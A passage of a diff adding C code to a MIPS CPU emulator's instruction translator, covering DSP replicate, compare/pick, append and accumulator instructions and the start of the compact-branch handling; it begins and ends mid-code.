*cpu_gpr[ret], *cpu_gpr[ret]); + break; + case OPC_REPL_PH: + check_dsp(ctx); + { + imm = (ctx->opcode >> 16) & 0x03FF; + imm = (int16_t)(imm << 6) >> 6; + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[ret], \ + (target_long)((int32_t)((uint32_t)imm << 16) | \ + (uint16_t)imm)); + } + break; + case OPC_REPLV_PH: + check_dsp(ctx); + tcg_gen_ext16u_tl(tcg_ctx, *cpu_gpr[ret], val_t); + tcg_gen_shli_tl(tcg_ctx, t0, *cpu_gpr[ret], 16); + tcg_gen_or_tl(tcg_ctx, *cpu_gpr[ret], *cpu_gpr[ret], t0); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[ret], *cpu_gpr[ret]); + break; + } + break; +#ifdef TARGET_MIPS64 + case OPC_ABSQ_S_QH_DSP: + switch (op2) { + case OPC_REPL_OB: + check_dsp(ctx); + { + target_long temp; + + imm = (ctx->opcode >> 16) & 0xFF; + temp = ((uint64_t)imm << 8) | (uint64_t)imm; + temp = (temp << 16) | temp; + temp = (temp << 32) | temp; + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[ret], temp); + break; + } + case OPC_REPL_PW: + check_dsp(ctx); + { + target_long temp; + + imm = (ctx->opcode >> 16) & 0x03FF; + imm = (int16_t)(imm << 6) >> 6; + temp = ((target_long)imm << 32) \ + | ((target_long)imm & 0xFFFFFFFF); + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[ret], temp); + break; + } + case OPC_REPL_QH: + check_dsp(ctx); + { + target_long temp; + + imm = (ctx->opcode >> 16) & 0x03FF; + imm = (int16_t)(imm << 6) >> 6; + + temp = ((uint64_t)(uint16_t)imm << 48) | + ((uint64_t)(uint16_t)imm << 32) | + ((uint64_t)(uint16_t)imm << 16) | + (uint64_t)(uint16_t)imm; + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[ret], temp); + break; + } + case OPC_REPLV_OB: + check_dsp(ctx); + tcg_gen_ext8u_tl(tcg_ctx, *cpu_gpr[ret], val_t); + tcg_gen_shli_tl(tcg_ctx, t0, *cpu_gpr[ret], 8); + tcg_gen_or_tl(tcg_ctx, *cpu_gpr[ret], *cpu_gpr[ret], t0); + tcg_gen_shli_tl(tcg_ctx, t0, *cpu_gpr[ret], 16); + tcg_gen_or_tl(tcg_ctx, *cpu_gpr[ret], *cpu_gpr[ret], t0); + tcg_gen_shli_tl(tcg_ctx, t0, *cpu_gpr[ret], 32); + tcg_gen_or_tl(tcg_ctx, *cpu_gpr[ret], *cpu_gpr[ret], t0); + break; + case OPC_REPLV_PW: + check_dsp(ctx); + tcg_gen_ext32u_i64(tcg_ctx, *cpu_gpr[ret], val_t); + tcg_gen_shli_tl(tcg_ctx, t0, *cpu_gpr[ret], 32); + tcg_gen_or_tl(tcg_ctx, *cpu_gpr[ret], *cpu_gpr[ret], t0); + break; + case OPC_REPLV_QH: + check_dsp(ctx); + tcg_gen_ext16u_tl(tcg_ctx, *cpu_gpr[ret], val_t); + tcg_gen_shli_tl(tcg_ctx, t0, *cpu_gpr[ret], 16); + tcg_gen_or_tl(tcg_ctx, *cpu_gpr[ret], *cpu_gpr[ret], t0); + tcg_gen_shli_tl(tcg_ctx, t0, *cpu_gpr[ret], 32); + tcg_gen_or_tl(tcg_ctx, *cpu_gpr[ret], *cpu_gpr[ret], t0); + break; + } + break; +#endif + } + tcg_temp_free(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, val_t); + + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s", opn); +} + +static void gen_mipsdsp_add_cmp_pick(DisasContext *ctx, + uint32_t op1, uint32_t op2, + int ret, int v1, int v2, int check_ret) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + const char *opn = "mipsdsp add compare pick"; + TCGv t1; + TCGv v1_t; + TCGv v2_t; + + if ((ret == 0) && (check_ret == 1)) { + /* Treat as NOP. */ + MIPS_DEBUG("NOP"); + return; + } + + t1 = tcg_temp_new(tcg_ctx); + v1_t = tcg_temp_new(tcg_ctx); + v2_t = tcg_temp_new(tcg_ctx); + + gen_load_gpr(ctx, v1_t, v1); + gen_load_gpr(ctx, v2_t, v2); + + switch (op1) { + case OPC_CMPU_EQ_QB_DSP: + switch (op2) { + case OPC_CMPU_EQ_QB: + check_dsp(ctx); + gen_helper_cmpu_eq_qb(tcg_ctx, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_CMPU_LT_QB: + check_dsp(ctx); + gen_helper_cmpu_lt_qb(tcg_ctx, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_CMPU_LE_QB: + check_dsp(ctx); + gen_helper_cmpu_le_qb(tcg_ctx, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_CMPGU_EQ_QB: + check_dsp(ctx); + gen_helper_cmpgu_eq_qb(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_CMPGU_LT_QB: + check_dsp(ctx); + gen_helper_cmpgu_lt_qb(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_CMPGU_LE_QB: + check_dsp(ctx); + gen_helper_cmpgu_le_qb(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_CMPGDU_EQ_QB: + check_dspr2(ctx); + gen_helper_cmpgu_eq_qb(tcg_ctx, t1, v1_t, v2_t); + tcg_gen_mov_tl(tcg_ctx, *cpu_gpr[ret], t1); + tcg_gen_andi_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_dspctrl, *(TCGv *)tcg_ctx->cpu_dspctrl, 0xF0FFFFFF); + tcg_gen_shli_tl(tcg_ctx, t1, t1, 24); + tcg_gen_or_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_dspctrl, *(TCGv *)tcg_ctx->cpu_dspctrl, t1); + break; + case OPC_CMPGDU_LT_QB: + check_dspr2(ctx); + gen_helper_cmpgu_lt_qb(tcg_ctx, t1, v1_t, v2_t); + tcg_gen_mov_tl(tcg_ctx, *cpu_gpr[ret], t1); + tcg_gen_andi_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_dspctrl, *(TCGv *)tcg_ctx->cpu_dspctrl, 0xF0FFFFFF); + tcg_gen_shli_tl(tcg_ctx, t1, t1, 24); + tcg_gen_or_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_dspctrl, *(TCGv *)tcg_ctx->cpu_dspctrl, t1); + break; + case OPC_CMPGDU_LE_QB: + check_dspr2(ctx); + gen_helper_cmpgu_le_qb(tcg_ctx, t1, v1_t, v2_t); + tcg_gen_mov_tl(tcg_ctx, *cpu_gpr[ret], t1); + tcg_gen_andi_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_dspctrl, *(TCGv *)tcg_ctx->cpu_dspctrl, 0xF0FFFFFF); + tcg_gen_shli_tl(tcg_ctx, t1, t1, 24); + tcg_gen_or_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_dspctrl, *(TCGv *)tcg_ctx->cpu_dspctrl, t1); + break; + case OPC_CMP_EQ_PH: + check_dsp(ctx); + gen_helper_cmp_eq_ph(tcg_ctx, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_CMP_LT_PH: + check_dsp(ctx); + gen_helper_cmp_lt_ph(tcg_ctx, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_CMP_LE_PH: + check_dsp(ctx); + gen_helper_cmp_le_ph(tcg_ctx, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_PICK_QB: + check_dsp(ctx); + gen_helper_pick_qb(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_PICK_PH: + check_dsp(ctx); + gen_helper_pick_ph(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_PACKRL_PH: + check_dsp(ctx); + gen_helper_packrl_ph(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + } + break; +#ifdef TARGET_MIPS64 + case OPC_CMPU_EQ_OB_DSP: + switch (op2) { + case OPC_CMP_EQ_PW: + check_dsp(ctx); + gen_helper_cmp_eq_pw(tcg_ctx, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_CMP_LT_PW: + check_dsp(ctx); + gen_helper_cmp_lt_pw(tcg_ctx, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_CMP_LE_PW: + check_dsp(ctx); + gen_helper_cmp_le_pw(tcg_ctx, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_CMP_EQ_QH: + check_dsp(ctx); + gen_helper_cmp_eq_qh(tcg_ctx, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_CMP_LT_QH: + check_dsp(ctx); + gen_helper_cmp_lt_qh(tcg_ctx, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_CMP_LE_QH: + check_dsp(ctx); + gen_helper_cmp_le_qh(tcg_ctx, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_CMPGDU_EQ_OB: + check_dspr2(ctx); + gen_helper_cmpgdu_eq_ob(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_CMPGDU_LT_OB: + check_dspr2(ctx); + gen_helper_cmpgdu_lt_ob(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_CMPGDU_LE_OB: + check_dspr2(ctx); + gen_helper_cmpgdu_le_ob(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_CMPGU_EQ_OB: + check_dsp(ctx); + gen_helper_cmpgu_eq_ob(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_CMPGU_LT_OB: + check_dsp(ctx); + gen_helper_cmpgu_lt_ob(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_CMPGU_LE_OB: + check_dsp(ctx); + gen_helper_cmpgu_le_ob(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_CMPU_EQ_OB: + check_dsp(ctx); + gen_helper_cmpu_eq_ob(tcg_ctx, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_CMPU_LT_OB: + check_dsp(ctx); + gen_helper_cmpu_lt_ob(tcg_ctx, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_CMPU_LE_OB: + check_dsp(ctx); + gen_helper_cmpu_le_ob(tcg_ctx, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_PACKRL_PW: + check_dsp(ctx); + gen_helper_packrl_pw(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_PICK_OB: + check_dsp(ctx); + gen_helper_pick_ob(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_PICK_PW: + check_dsp(ctx); + gen_helper_pick_pw(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_PICK_QH: + check_dsp(ctx); + gen_helper_pick_qh(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + } + break; +#endif + } + + tcg_temp_free(tcg_ctx, t1); + tcg_temp_free(tcg_ctx, v1_t); + tcg_temp_free(tcg_ctx, v2_t); + + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s", opn); +} + +static void gen_mipsdsp_append(CPUMIPSState *env, DisasContext *ctx, + uint32_t op1, int rt, int rs, int sa) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + const char *opn = "mipsdsp append/dappend"; + TCGv t0; + + check_dspr2(ctx); + + if (rt == 0) { + /* Treat as NOP. */ + MIPS_DEBUG("NOP"); + return; + } + + t0 = tcg_temp_new(tcg_ctx); + gen_load_gpr(ctx, t0, rs); + + switch (op1) { + case OPC_APPEND_DSP: + switch (MASK_APPEND(ctx->opcode)) { + case OPC_APPEND: + if (sa != 0) { + tcg_gen_deposit_tl(tcg_ctx, *cpu_gpr[rt], t0, *cpu_gpr[rt], sa, 32 - sa); + } + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rt], *cpu_gpr[rt]); + break; + case OPC_PREPEND: + if (sa != 0) { + tcg_gen_ext32u_tl(tcg_ctx, *cpu_gpr[rt], *cpu_gpr[rt]); + tcg_gen_shri_tl(tcg_ctx, *cpu_gpr[rt], *cpu_gpr[rt], sa); + tcg_gen_shli_tl(tcg_ctx, t0, t0, 32 - sa); + tcg_gen_or_tl(tcg_ctx, *cpu_gpr[rt], *cpu_gpr[rt], t0); + } + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rt], *cpu_gpr[rt]); + break; + case OPC_BALIGN: + sa &= 3; + if (sa != 0 && sa != 2) { + tcg_gen_shli_tl(tcg_ctx, *cpu_gpr[rt], *cpu_gpr[rt], 8 * sa); + tcg_gen_ext32u_tl(tcg_ctx, t0, t0); + tcg_gen_shri_tl(tcg_ctx, t0, t0, 8 * (4 - sa)); + tcg_gen_or_tl(tcg_ctx, *cpu_gpr[rt], *cpu_gpr[rt], t0); + } + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rt], *cpu_gpr[rt]); + break; + default: /* Invalid */ + MIPS_INVAL("MASK APPEND"); + generate_exception(ctx, EXCP_RI); + break; + } + break; +#ifdef TARGET_MIPS64 + case OPC_DAPPEND_DSP: + switch (MASK_DAPPEND(ctx->opcode)) { + case OPC_DAPPEND: + if (sa != 0) { + tcg_gen_deposit_tl(tcg_ctx, *cpu_gpr[rt], t0, *cpu_gpr[rt], sa, 64 - sa); + } + break; + case OPC_PREPENDD: + tcg_gen_shri_tl(tcg_ctx, *cpu_gpr[rt], *cpu_gpr[rt], 0x20 | sa); + tcg_gen_shli_tl(tcg_ctx, t0, t0, 64 - (0x20 | sa)); + tcg_gen_or_tl(tcg_ctx, *cpu_gpr[rt], t0, t0); + break; + case OPC_PREPENDW: + if (sa != 0) { + tcg_gen_shri_tl(tcg_ctx, *cpu_gpr[rt], *cpu_gpr[rt], sa); + tcg_gen_shli_tl(tcg_ctx, t0, t0, 64 - sa); + tcg_gen_or_tl(tcg_ctx, *cpu_gpr[rt], *cpu_gpr[rt], t0); + } + break; + case OPC_DBALIGN: + sa &= 7; + if (sa != 0 && sa != 2 && sa != 4) { + tcg_gen_shli_tl(tcg_ctx, *cpu_gpr[rt], *cpu_gpr[rt], 8 * sa); + tcg_gen_shri_tl(tcg_ctx, t0, t0, 8 * (8 - sa)); + tcg_gen_or_tl(tcg_ctx, *cpu_gpr[rt], *cpu_gpr[rt], t0); + } + break; + default: /* Invalid */ + MIPS_INVAL("MASK DAPPEND"); + generate_exception(ctx, EXCP_RI); + break; + } + break; +#endif + } + tcg_temp_free(tcg_ctx, t0); + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s", opn); +} + +static void gen_mipsdsp_accinsn(DisasContext *ctx, uint32_t op1, uint32_t op2, + int ret, int v1, int v2, int check_ret) + +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + const char *opn = "mipsdsp accumulator"; + TCGv t0; + TCGv t1; + TCGv v1_t; + TCGv v2_t; + int16_t imm; + + if ((ret == 0) && (check_ret == 1)) { + /* Treat as NOP. */ + MIPS_DEBUG("NOP"); + return; + } + + t0 = tcg_temp_new(tcg_ctx); + t1 = tcg_temp_new(tcg_ctx); + v1_t = tcg_temp_new(tcg_ctx); + v2_t = tcg_temp_new(tcg_ctx); + + gen_load_gpr(ctx, v1_t, v1); + gen_load_gpr(ctx, v2_t, v2); + + switch (op1) { + case OPC_EXTR_W_DSP: + check_dsp(ctx); + switch (op2) { + case OPC_EXTR_W: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + tcg_gen_movi_tl(tcg_ctx, t1, v1); + gen_helper_extr_w(tcg_ctx, *cpu_gpr[ret], t0, t1, tcg_ctx->cpu_env); + break; + case OPC_EXTR_R_W: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + tcg_gen_movi_tl(tcg_ctx, t1, v1); + gen_helper_extr_r_w(tcg_ctx, *cpu_gpr[ret], t0, t1, tcg_ctx->cpu_env); + break; + case OPC_EXTR_RS_W: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + tcg_gen_movi_tl(tcg_ctx, t1, v1); + gen_helper_extr_rs_w(tcg_ctx, *cpu_gpr[ret], t0, t1, tcg_ctx->cpu_env); + break; + case OPC_EXTR_S_H: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + tcg_gen_movi_tl(tcg_ctx, t1, v1); + gen_helper_extr_s_h(tcg_ctx, *cpu_gpr[ret], t0, t1, tcg_ctx->cpu_env); + break; + case OPC_EXTRV_S_H: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + gen_helper_extr_s_h(tcg_ctx, *cpu_gpr[ret], t0, v1_t, tcg_ctx->cpu_env); + break; + case OPC_EXTRV_W: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + gen_helper_extr_w(tcg_ctx, *cpu_gpr[ret], t0, v1_t, tcg_ctx->cpu_env); + break; + case OPC_EXTRV_R_W: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + gen_helper_extr_r_w(tcg_ctx, *cpu_gpr[ret], t0, v1_t, tcg_ctx->cpu_env); + break; + case OPC_EXTRV_RS_W: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + gen_helper_extr_rs_w(tcg_ctx, *cpu_gpr[ret], t0, v1_t, tcg_ctx->cpu_env); + break; + case OPC_EXTP: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + tcg_gen_movi_tl(tcg_ctx, t1, v1); + gen_helper_extp(tcg_ctx, *cpu_gpr[ret], t0, t1, tcg_ctx->cpu_env); + break; + case OPC_EXTPV: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + gen_helper_extp(tcg_ctx, *cpu_gpr[ret], t0, v1_t, tcg_ctx->cpu_env); + break; + case OPC_EXTPDP: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + tcg_gen_movi_tl(tcg_ctx, t1, v1); + gen_helper_extpdp(tcg_ctx, *cpu_gpr[ret], t0, t1, tcg_ctx->cpu_env); + break; + case OPC_EXTPDPV: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + gen_helper_extpdp(tcg_ctx, *cpu_gpr[ret], t0, v1_t, tcg_ctx->cpu_env); + break; + case OPC_SHILO: + imm = (ctx->opcode >> 20) & 0x3F; + tcg_gen_movi_tl(tcg_ctx, t0, ret); + tcg_gen_movi_tl(tcg_ctx, t1, imm); + gen_helper_shilo(tcg_ctx, t0, t1, tcg_ctx->cpu_env); + break; + case OPC_SHILOV: + tcg_gen_movi_tl(tcg_ctx, t0, ret); + gen_helper_shilo(tcg_ctx, t0, v1_t, tcg_ctx->cpu_env); + break; + case OPC_MTHLIP: + tcg_gen_movi_tl(tcg_ctx, t0, ret); + gen_helper_mthlip(tcg_ctx, t0, v1_t, tcg_ctx->cpu_env); + break; + case OPC_WRDSP: + imm = (ctx->opcode >> 11) & 0x3FF; + tcg_gen_movi_tl(tcg_ctx, t0, imm); + gen_helper_wrdsp(tcg_ctx, v1_t, t0, tcg_ctx->cpu_env); + break; + case OPC_RDDSP: + imm = (ctx->opcode >> 16) & 0x03FF; + tcg_gen_movi_tl(tcg_ctx, t0, imm); + gen_helper_rddsp(tcg_ctx, *cpu_gpr[ret], t0, tcg_ctx->cpu_env); + break; + } + break; +#ifdef TARGET_MIPS64 + case OPC_DEXTR_W_DSP: + check_dsp(ctx); + switch (op2) { + case OPC_DMTHLIP: + tcg_gen_movi_tl(tcg_ctx, t0, ret); + gen_helper_dmthlip(tcg_ctx, v1_t, t0, tcg_ctx->cpu_env); + break; + case OPC_DSHILO: + { + int shift = (ctx->opcode >> 19) & 0x7F; + int ac = (ctx->opcode >> 11) & 0x03; + tcg_gen_movi_tl(tcg_ctx, t0, shift); + tcg_gen_movi_tl(tcg_ctx, t1, ac); + gen_helper_dshilo(tcg_ctx, t0, t1, tcg_ctx->cpu_env); + break; + } + case OPC_DSHILOV: + { + int ac = (ctx->opcode >> 11) & 0x03; + tcg_gen_movi_tl(tcg_ctx, t0, ac); + gen_helper_dshilo(tcg_ctx, v1_t, t0, tcg_ctx->cpu_env); + break; + } + case OPC_DEXTP: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + tcg_gen_movi_tl(tcg_ctx, t1, v1); + + gen_helper_dextp(tcg_ctx, *cpu_gpr[ret], t0, t1, tcg_ctx->cpu_env); + break; + case OPC_DEXTPV: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + gen_helper_dextp(tcg_ctx, *cpu_gpr[ret], t0, v1_t, tcg_ctx->cpu_env); + break; + case OPC_DEXTPDP: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + tcg_gen_movi_tl(tcg_ctx, t1, v1); + gen_helper_dextpdp(tcg_ctx, *cpu_gpr[ret], t0, t1, tcg_ctx->cpu_env); + break; + case OPC_DEXTPDPV: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + gen_helper_dextpdp(tcg_ctx, *cpu_gpr[ret], t0, v1_t, tcg_ctx->cpu_env); + break; + case OPC_DEXTR_L: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + tcg_gen_movi_tl(tcg_ctx, t1, v1); + gen_helper_dextr_l(tcg_ctx, *cpu_gpr[ret], t0, t1, tcg_ctx->cpu_env); + break; + case OPC_DEXTR_R_L: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + tcg_gen_movi_tl(tcg_ctx, t1, v1); + gen_helper_dextr_r_l(tcg_ctx, *cpu_gpr[ret], t0, t1, tcg_ctx->cpu_env); + break; + case OPC_DEXTR_RS_L: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + tcg_gen_movi_tl(tcg_ctx, t1, v1); + gen_helper_dextr_rs_l(tcg_ctx, *cpu_gpr[ret], t0, t1, tcg_ctx->cpu_env); + break; + case OPC_DEXTR_W: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + tcg_gen_movi_tl(tcg_ctx, t1, v1); + gen_helper_dextr_w(tcg_ctx, *cpu_gpr[ret], t0, t1, tcg_ctx->cpu_env); + break; + case OPC_DEXTR_R_W: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + tcg_gen_movi_tl(tcg_ctx, t1, v1); + gen_helper_dextr_r_w(tcg_ctx, *cpu_gpr[ret], t0, t1, tcg_ctx->cpu_env); + break; + case OPC_DEXTR_RS_W: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + tcg_gen_movi_tl(tcg_ctx, t1, v1); + gen_helper_dextr_rs_w(tcg_ctx, *cpu_gpr[ret], t0, t1, tcg_ctx->cpu_env); + break; + case OPC_DEXTR_S_H: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + tcg_gen_movi_tl(tcg_ctx, t1, v1); + gen_helper_dextr_s_h(tcg_ctx, *cpu_gpr[ret], t0, t1, tcg_ctx->cpu_env); + break; + case OPC_DEXTRV_S_H: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + tcg_gen_movi_tl(tcg_ctx, t1, v1); + gen_helper_dextr_s_h(tcg_ctx, *cpu_gpr[ret], t0, t1, tcg_ctx->cpu_env); + break; + case OPC_DEXTRV_L: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + gen_helper_dextr_l(tcg_ctx, *cpu_gpr[ret], t0, v1_t, tcg_ctx->cpu_env); + break; + case OPC_DEXTRV_R_L: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + gen_helper_dextr_r_l(tcg_ctx, *cpu_gpr[ret], t0, v1_t, tcg_ctx->cpu_env); + break; + case OPC_DEXTRV_RS_L: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + gen_helper_dextr_rs_l(tcg_ctx, *cpu_gpr[ret], t0, v1_t, tcg_ctx->cpu_env); + break; + case OPC_DEXTRV_W: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + gen_helper_dextr_w(tcg_ctx, *cpu_gpr[ret], t0, v1_t, tcg_ctx->cpu_env); + break; + case OPC_DEXTRV_R_W: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + gen_helper_dextr_r_w(tcg_ctx, *cpu_gpr[ret], t0, v1_t, tcg_ctx->cpu_env); + break; + case OPC_DEXTRV_RS_W: + tcg_gen_movi_tl(tcg_ctx, t0, v2); + gen_helper_dextr_rs_w(tcg_ctx, *cpu_gpr[ret], t0, v1_t, tcg_ctx->cpu_env); + break; + } + break; +#endif + } + + tcg_temp_free(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, t1); + tcg_temp_free(tcg_ctx, v1_t); + tcg_temp_free(tcg_ctx, v2_t); + + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s", opn); +} + +/* End MIPSDSP functions. */ + +/* Compact Branches */ +static void gen_compute_compact_branch(DisasContext *ctx, uint32_t opc, + int rs, int rt, int32_t offset) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + int bcond_compute = 0; + TCGv t0 = tcg_temp_new(tcg_ctx); + TCGv t1 = tcg_temp_new(tcg_ctx); + + if (ctx->hflags & MIPS_HFLAG_BMASK) { +#ifdef MIPS_DEBUG_DISAS + LOG_DISAS("Branch in delay / forbidden slot at PC 0x" TARGET_FMT_lx + "\n", ctx->pc); +#endif + generate_exception(ctx, EXCP_RI); + goto out; + } + + /* Load needed operands and calculate btarget */ + switch (opc) { + /* compact branch */ + case OPC_BOVC: /* OPC_BEQZALC, OPC_BEQC */ + case OPC_BNVC: /* OPC_BNEZALC, OPC_BNEC */ + gen_load_gpr(ctx, t0, rs); + gen_load_gpr(ctx, t1, rt); + bcond_compute = 1; + ctx->btarget = addr_add(ctx, ctx->pc + 4, offset); + if (rs <= rt && rs == 0) { + /* OPC_BEQZALC, OPC_BNEZALC */ + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[31], ctx->pc + 4); + } + break; + case OPC_BLEZC: /* OPC_BGEZC, OPC_BGEC */ + case OPC_BGTZC: /* OPC_BLTZC, OPC_BLTC */ + gen_load_gpr(ctx, t0, rs); + gen_load_gpr(ctx, t1, rt); + bcond_compute = 1; + ctx->btarget = addr_add(ctx, ctx->pc + 4, offset); + break; + case OPC_BLEZALC: /* OPC_BGEZALC, OPC_BGEUC */ + case OPC_BGTZALC: /* OPC_BLTZALC, OPC_BLTUC */ + if (rs == 0 || rs == rt) { + /* OPC_BLEZALC, OPC_BGEZALC */ + /* OPC_BGTZALC, OPC_BLTZALC */ + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[31], ctx->pc + 4); + } + gen_load_gpr(ctx, t0, rs); + gen_load_gpr(ctx, t1, rt); + bcond_compute = 1; + ctx->btarget = addr_add(ctx, ctx->pc + 4, offset); + break; + case OPC_BC: + case OPC_BALC: + ctx->btarget = addr_add(ctx, ctx->pc + 4, offset); + break; + case OPC_BEQZC: + case OPC_BNEZC: + if (rs != 0) { + /* OPC_BEQZC, OPC_BNEZC */ + gen_load_gpr(ctx, t0, rs); + bcond_compute = 1; + ctx->btarget = addr_add(ctx, ctx->pc + 4, offset); + } else { + /* OPC_JIC, OPC_JIALC */ + TCGv tbase = tcg_temp_new(tcg_ctx); + TCGv toffset = tcg_temp_new(tcg_ctx); + + gen_load_gpr(ctx, tbase, rt); + tcg_gen_movi_tl(tcg_ctx, toffset, offset); + gen_op_addr_add(ctx, *(TCGv *)tcg_ctx->btarget, tbase, toffset); + tcg_temp_free(tcg_ctx, tbase); + tcg_temp_free(tcg_ctx, toffset); + } + break; + default: + MIPS_INVAL("Compact branch/jump"); + generate_exception(ctx, EXCP_RI); + goto out; + } + + if (bcond_compute == 0) { + /* Uncoditional compact branch */ + switch (opc) { + case OPC_JIALC: + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[31], ctx->pc + 4); + /* Fallthrough */ + case OPC_JIC: + ctx->hflags |= MIPS_HFLAG_BR; + break; + case OPC_BALC: + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[31], ctx->pc + 4); + /* Fallthrough */ + case OPC_BC: + ctx->hflags |= MIPS_HFLAG_B; + break; + default: + MIPS_INVAL("Compact branch/jump"); + generate_exception(ctx, EXCP_RI); + goto out; + } + + /* Generating branch here as compact branches don't have delay slot */ + gen_branch(ctx, 4); + } else { + /* Conditional compact branch */ + int fs = gen_new_label(tcg_ctx); + save_cpu_state(ctx, 0); + + switch (opc) { + case OPC_BLEZALC: /* OPC_BGEZALC, OPC_BGEUC */ + if (rs == 0 && rt != 0) { + /* OPC_BLEZALC */ + tcg_gen_brcondi_tl(tcg_ctx, tcg_invert_cond(TCG_COND_LE), t1, 0, fs); + } else if (rs != 0 && rt != 0 && rs == rt) { + /* OPC_BGEZALC */ + tcg_gen_brcondi_tl(tcg_ctx, tcg_invert_cond(TCG_COND_GE), t1, 0, fs); + } else { + /* OPC_BGEUC */ + tcg_gen_brcond_tl(tcg_ctx, tcg_invert_cond(TCG_COND_GEU), t0, t1, fs); + } + break; + case OPC_BGTZALC: /* OPC_BLTZALC, OPC_BLTUC */ + if (rs == 0 && rt != 0) { + /* OPC_BGTZALC */ + tcg_gen_brcondi_tl(tcg_ctx, tcg_invert_cond(TCG_COND_GT), t1, 0, fs); + } else if (rs != 0 && rt != 0 && rs == rt) { + /* OPC_BLTZALC */ + tcg_gen_brcondi_tl(tcg_ctx, 